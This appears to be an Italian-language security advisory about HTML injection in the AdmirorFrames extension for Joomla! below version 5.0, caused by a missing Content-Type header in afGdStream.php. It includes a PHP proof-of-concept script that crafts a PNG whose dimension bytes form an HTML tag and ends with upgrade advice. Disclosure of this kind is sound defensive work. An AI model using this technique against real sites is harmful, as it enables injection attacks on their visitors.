
Estensione AdmirorFrames per Joomla! < 5.0 - Iniezione HTML
Estensione AdmirorFrames Joomla! < 5.0 - Iniezione HTML
Iniezione HTML nell'estensione AdmirorFrames Joomla! nel file afGdStream.php che non imposta il valore dell'intestazione Content-Type prima di inviare i dati dell'immagine. Ciò fa sì che PHP invii il valore predefinito di questa intestazione (text/html) e fa sì che i dati dell'immagine vengano interpretati come documento HTML.
Esempio di script PHP che genera un PNG con i campi larghezza e altezza impostati sul tag HTML <s>:
<?php
$_payload="AAA";
if(strlen($_payload)%3!=0){
echo "payload%3==0 !\n"; exit();
}
$_pay_len=strlen($_payload);
echo "LEN: $_pay_len\n";
$width=0x733e; //<s>
$height=0x3c;
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
$_color_chunks=str_split($_chunks[$i], 2);
$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagepng($im,"example.png");
Risultato del rendering del file proof of concept example.png da parte del browser web:
prova di concetto
Questo problema è stato causato dall'uso del valore predefinito dell'intestazione Content-Type. Il problema è stato risolto nell'estensione AdmirorFrames Joomla! alla versione 5.0.
< 5.0
Aggiorna l'estensione AdmirorFrames Joomla! alla versione 5.0 o successiva.